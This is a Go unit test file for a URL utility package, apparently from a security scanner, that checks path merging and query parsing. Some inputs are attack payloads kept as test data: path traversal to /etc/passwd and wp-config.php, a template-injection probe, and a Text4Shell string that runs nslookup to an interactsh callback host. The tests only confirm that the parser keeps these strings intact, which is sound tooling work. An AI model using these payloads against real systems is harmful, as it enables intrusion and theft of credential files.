package urlutil import ( "path" "testing" "github.com/stretchr/testify/require" ) func TestSimplePaths(t *testing.T) { // Merge Examples (Same as path.Join) // /blog /admin => /blog/admin // /blog/test /wp-content => /blog/wp/wp-content // /blog/admin /blog/admin/profile => /blog/admin/profile // /blog /blog/ => /blog/ testcase1 := []struct { Path1 string Path2 string }{ {"/blog", "/admin"}, {"/", "/"}, {"", "/admin"}, {"/blog/test", "/wp-content"}, {"/blog/test/", "/blog"}, {"/blog/test/profile", "/blog"}, {"/blog/test/", "/blog/test/profile"}, {"/blog/", "/blog"}, } for _, v := range testcase1 { pathtest := path.Join(v.Path1, v.Path2) mergetest := mergePaths(v.Path1, v.Path2) require.Equalf(t, pathtest, mergetest, "merge failure expected %v but got %v", pathtest, mergetest) } } func TestMergeUnsafePaths(t *testing.T) { // Merge Examples with payloads and unsafe characters testcase2 := []struct { url string // can also be a relative path Path2 string Expected string //Path }{ {"/admin", "/%20test%0a", "/admin/%20test%0a"}, {"scanme.sh", "%20test%0a", "/%20test%0a"}, {"https://scanme.sh", "/%20test%0a", "/%20test%0a"}, {"/?admin=true", "/path?yes=true", "/path?admin=true&yes=true"}, {"scanme.sh", "../../../etc/passwd", "/../../../etc/passwd"}, {"//scanme.sh", "/..%252F..%252F..%252F..%252F..%252F", "/..%252F..%252F..%252F..%252F..%252F"}, {"/?user=true", "/profile", "/profile?user=true"}, } for _, v := range testcase2 { rurl, err := ParseURL(v.url, false) require.Nil(t, err) err = rurl.MergePath(v.Path2, true) require.Nil(t, err) require.Equalf(t, v.Expected, rurl.GetRelativePath(), "expected %v but got %v", v.Expected, rurl.GetRelativePath()) } } func TestMergeWithParams(t *testing.T) { testcase := []struct { url string // can also be a relative path Path2 string Expected string //Full URL }{ {"/", "/path/scan?param=yes", "/path/scan?param=yes"}, {"/admin/?param=path", "profile?show=true", "/admin/profile?param=path&show=true"}, {"/?admin=true", "/%20test%0a", "/%20test%0a?admin=true"}, {"https://scanme.sh?admin=true", "/%20test%0a", "https://scanme.sh/%20test%0a?admin=true"}, {"scanme.sh?admin=true", "/%20test%0a", "scanme.sh/%20test%0a?admin=true"}, {"http://scanme.sh/?admin=true", "/%20test%0a", "http://scanme.sh/%20test%0a?admin=true"}, {"https://scanme.sh?admin=true", "/%20test%0a", "https://scanme.sh/%20test%0a?admin=true"}, {"scanme.sh", "/path", "scanme.sh/path"}, {"scanme.sh?wp=false", "/path?yes=true&admin=false", "scanme.sh/path?wp=false&yes=true&admin=false"}, {"https://scanme.sh", "?user=true&pass=yes", "https://scanme.sh?user=true&pass=yes"}, {"scanme.sh", "favicon.ico", "scanme.sh/favicon.ico"}, } for _, v := range testcase { rurl, err := ParseURL(v.url, false) require.Nil(t, err) err = rurl.MergePath(v.Path2, true) require.Nil(t, err) require.Equalf(t, v.Expected, rurl.String(), "expected %v but got %v", v.Expected, rurl.String()) } } func TestAutoMergePaths(t *testing.T) { testcase := []struct { path1 string // can also be a relative path Path2 string Expected string //Full URL }{ {"/", "/path/scan?param=yes", "/path/scan?param=yes"}, {"/admin/?param=path", "profile?show=true", "/admin/profile?param=path&show=true"}, {"/?admin=true", "/%20test%0a", "/%20test%0a?admin=true"}, {"?admin=true", "?param=true", "?admin=true¶m=true"}, // should allow empty paths } for _, v := range testcase { got, err := AutoMergeRelPaths(v.path1, v.Path2) require.Nilf(t, err, "failed to merge paths") require.Equal(t, got, v.Expected, "expected %v but got %v", v.Expected, got) } } func TestParameterParsing(t *testing.T) { testcases := []struct { URL string ExpectedQuery string }{ {"/text4shell/attack?search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{{Host}}.{{Port}}.getparam.{{interactsh-url}}')%7d", "search=$%7bscript:javascript:java.lang.Runtime.getRuntime().exec('nslookup%20{{Host}}.{{Port}}.getparam.{{interactsh-url}}')%7d"}, {"/filedownload.php?ebookdownloadurl=../../../wp-config.php", "ebookdownloadurl=../../../wp-config.php"}, {"/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test", "response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"}, } for _, v := range testcases { rurl, err := ParseURL(v.URL, false) require.Nil(t, err) require.Equalf(t, v.ExpectedQuery, rurl.Params.Encode(), "expected: %v\ngot: %v\n", v.ExpectedQuery, rurl.Params.Encode()) } }